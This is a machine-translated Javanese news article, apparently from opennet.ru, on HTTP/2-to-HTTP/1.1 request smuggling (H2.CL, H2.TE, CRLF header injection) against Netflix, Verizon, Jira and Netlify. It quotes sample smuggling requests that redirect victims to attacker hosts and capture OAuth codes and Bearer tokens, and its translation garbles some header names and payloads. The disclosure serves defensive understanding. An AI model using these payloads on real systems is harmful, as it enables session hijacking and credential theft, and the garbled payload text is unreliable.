Sistem web sing mburi ngarep nampa sambungan liwat HTTP / 2 lan ngirim menyang backend liwat HTTP / 1.1 wis kapapar varian anyar saka serangan "HTTP Request Smuggling", sing ngidini, kanthi ngirim panjalukan klien sing dirancang khusus, menyang wedge menyang isi panjalukan saka pangguna liyane diproses ing aliran padha antarane frontend lan backend. Serangan kasebut bisa digunakake kanggo nglebokake kode JavaScript sing mbebayani menyang sesi kanthi situs web sing sah, sistem watesan akses lulus lan paramèter otentikasi nyegat.
Masalah kasebut mengaruhi proxy web, load balancer, akselerator web, sistem pangiriman konten lan konfigurasi liyane sing panjaluk dialihake kanthi cara ngarep-mburi. Penulis studi kasebut nuduhake kemungkinan nyerang sistem Netflix, Verizon, Bitbucket, Netlify CDN lan Atlassian, lan nampa 56 ewu dolar ing program ganjaran kanggo ngenali kerentanan. Masalah kasebut uga wis dikonfirmasi ing produk F5 Networks. Masalah sebagian mengaruhi mod_proxy ing server Apache http (CVE-2021-33193), perbaikan wis samesthine ing versi 2.4.49 (pangembang diwenehi kabar babagan masalah kasebut ing awal Mei lan diwenehi 3 wulan kanggo ndandani). Ing nginx, kemampuan kanggo nemtokake header "Length-Konten" lan "Transfer-Encoding" bebarengan diblokir ing rilis pungkasan (1.21.1). Piranti serangan wis kalebu ing toolkit Burp lan kasedhiya ing wangun extension Turbo Intruder.
Prinsip operasi saka cara anyar panjalukan wedging menyang lalu lintas padha karo kerentanan dikenali dening peneliti padha rong taun kepungkur, nanging winates kanggo frontends sing nampa panjalukan liwat HTTP / 1.1. Elinga yen ing skema frontend-backend, panjalukan klien ditampa dening simpul tambahan - frontend, sing nggawe sambungan TCP sing dawa karo backend, sing langsung ngolah panjaluk. Liwat sambungan umum iki, panjalukan saka pangguna sing beda-beda biasane ditularake, sing ngetutake rantai siji-sijine, dipisahake kanthi protokol HTTP.
Serangan klasik "HTTP Request Smuggling" adhedhasar kasunyatan manawa frontends lan backends napsirake panggunaan header HTTP "Content-Length" (nemtokake ukuran total data ing panyuwunan) lan "Transfer-Encoding: chunked" (ngidini data sing bakal ditransfer ing bagean) beda. . Contone, yen frontend mung ndhukung "Content-Length" nanging nglirwakake "Transfer-Encoding: chunked", banjur panyerang bisa ngirim panjalukan sing ngemot header "Content-Length" lan "Transfer-Encoding: chunked", nanging ukuran "Content-Length" ora cocog karo ukuran chain chunked. Ing kasus iki, frontend bakal ngolah lan ngarahake panjaluk kasebut miturut "Duwa Konten", lan mburi mburi bakal ngenteni rampung blok kasebut adhedhasar "Transfer-Encoding: chunked" lan buntut sing isih ana panjaluk panyerang bakal. dadi ing wiwitan panyuwunan wong liya sing ditularake sabanjure.
Ora kaya protokol teks HTTP / 1.1, sing diurai ing tingkat baris, HTTP / 2 minangka protokol binar lan manipulasi pamblokiran data kanthi ukuran sing wis ditemtokake. Nanging, HTTP / 2 nggunakake pseudo-header sing cocog karo header HTTP biasa. Ing kasus interaksi karo backend liwat protokol HTTP/1.1, frontend nerjemahake pseudo-header iki menyang header HTTP padha HTTP/1.1. Masalahe yaiku backend nggawe keputusan babagan parsing stream adhedhasar header HTTP sing disetel dening frontend, tanpa duwe informasi babagan paramèter panyuwunan asli.
Utamane, nilai-nilai "content-length" lan "transfer-encoding" bisa ditularake ing wangun pseudo-header, sanajan kasunyatane ora digunakake ing HTTP / 2, amarga ukuran kabeh data ditemtokake. ing lapangan kapisah. Nanging, sajrone proses ngowahi panjalukan HTTP / 2 menyang HTTP / 1.1, header kasebut digawa lan bisa mbingungake backend. Ana rong varian serangan utama: H2.TE lan H2.CL, ing endi backend disesatkan dening transfer-encoding utawa nilai dawa isi sing ora cocog karo ukuran nyata saka badan panyuwunan sing ditampa dening frontend liwat protokol HTTP/2.
Conto serangan H2.CL yaiku nemtokake ukuran sing salah ing pseudo-header dawa isi nalika ngirim panjalukan HTTP/2 menyang Netflix. Panyuwunan iki ndadékaké tambahan header HTTP sing padha Content-Length nalika ngakses backend liwat HTTP / 1.1, nanging amarga ukuran ing Content-Length ditemtokake kurang saka sing nyata, bagéan saka data ing buntut diproses minangka wiwitan panyuwunan sabanjure.
Contone, njaluk HTTP/2 :method POST :path /n :wewenang www.netflix.com isi-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Bakal nyebabake panjalukan dikirim menyang backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Wiwit Content-Length nduweni nilai 4, backend mung bakal nampa "abcd" minangka badan panyuwunan, lan sisa "GET / n HTTP / 1.1 ..." bakal diproses minangka wiwitan panyuwunan sabanjure. digandhengake karo pangguna liyane. Patut, stream bakal dadi desynchronized lan nanggepi panjalukan sabanjuré, asil pangolahan panjalukan dummy bakal ditanggepi. Ing kasus Netflix, nemtokake host pihak katelu ing header "Host:" ing panjaluk goblok nyebabake klien ngasilake respon "Lokasi: https://02.rs?x.netflix.com/n" lan ngidini isi kasepakatan dikirim menyang klien, kalebu Run kode JavaScript ing konteks situs Netflix.
Opsi serangan kapindho (H2.TE) kalebu ngganti header "Transfer-Encoding: chunked". Panganggone pseudo-header transfer-encoding ing HTTP/2 dilarang dening spesifikasi lan panjaluk kasebut diwènèhaké kanggo dianggep ora bener. Senadyan mangkono, sawetara implementasi frontend ora njupuk syarat iki lan ngidini nggunakake pseudo-header transfer-encoding ing HTTP/2, sing diowahi dadi header HTTP sing padha. Yen ana header "Transfer-Encoding", backend bisa njupuk minangka prioritas sing luwih dhuwur lan ngurai potongan data kanthi potongan ing mode "chunked" nggunakake blok kanthi ukuran sing beda-beda ing format "{size}\r\n{block }\r\n{size} \r\n{block}\r\n0", senadyan divisi awal miturut ukuran sakabèhé.
Anane celah kasebut dituduhake kanthi conto Verizon. Masalah kasebut yaiku portal otentikasi lan sistem manajemen konten, sing uga digunakake ing situs kayata Huffington Post lan Engadget. Contone, panjalukan klien liwat HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Asil ngirim panjalukan HTTP/1.1 menyang backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres. net Isi- Dawane: 10x=
Backend kasebut, ora nggatekake header "Length-Konten" lan nindakake pemisahan in-stream adhedhasar "Transfer-Encoding: chunked". Ing praktik, serangan kasebut bisa ngarahake panjaluk pangguna menyang situs web, kalebu nyegat panjaluk sing ana gandhengane karo otentikasi OAuth, paramèter kasebut ditampilake ing header Referer, uga simulasi sesi otentikasi lan micu sistem pangguna ngirim kredensial. menyang tuan rumah penyerang. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Wewenang: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Kanggo nyerang implementasi HTTP / 2 sing ora ngidini pseudo-header transfer-encoding ditemtokake, cara liya wis diusulake sing kalebu ngganti header "Transfer-Encoding" kanthi masang header pseudo-header liyane sing dipisahake dening karakter baris anyar ( nalika diowahi dadi HTTP / 1.1 ing kasus iki nggawe rong header HTTP sing kapisah).
Contone, Atlassian Jira lan Netlify CDN (digunakake kanggo ngladeni kaca wiwitan Mozilla ing Firefox) kena pengaruh masalah iki. Khusus, panjalukan HTTP/2 :metode POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Isi-Length: 5\r\n \r\nx=
nyebabake HTTP/1.1 POST / HTTP/1.1 request dikirim menyang backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r \nx=
Pilihan liyane kanggo ngganti header "Transfer-Encoding" yaiku masangake menyang jeneng header pseudo liyane utawa menyang baris kanthi cara panyuwunan. Contone, nalika ngakses Atlassian Jira, jeneng pseudo-header "foo: bar\r\ntransfer-encoding" kanthi nilai "chunked" nyebabake header HTTP "foo: bar" lan "transfer-encoding: chunked" ditambahake. , lan nemtokake nilai pseudo-header ": metode" "GET / HTTP / 1.1 \ r \ nTransfer-encoding: chunked" diterjemahake menyang "GET / HTTP/1.1 \ r \ ntransfer-encoding: chunked".
Peneliti sing ngenali masalah kasebut uga ngusulake teknik tunneling panyuwunan kanggo nyerang frontends, ing ngendi saben alamat IP nggawe sambungan sing kapisah menyang backend lan lalu lintas saka pangguna sing beda-beda ora dicampur. Teknik sing diusulake ora ngidini ngganggu panjaluk saka pangguna liyane, nanging bisa ngracun cache sing dienggo bareng sing mengaruhi pangolahan panjalukan liyane, lan ngidini substitusi header HTTP internal sing digunakake kanggo nransfer informasi layanan saka frontend menyang backend ( contone,, nalika otentikasi ing sisih frontend ing header kuwi bisa ngirim informasi bab pangguna saiki kanggo backend). Minangka conto nglamar cara ing laku, nggunakake keracunan cache, iku bisa kanggo gain kontrol liwat kaca ing layanan Bitbucket.
Source: opennet.ru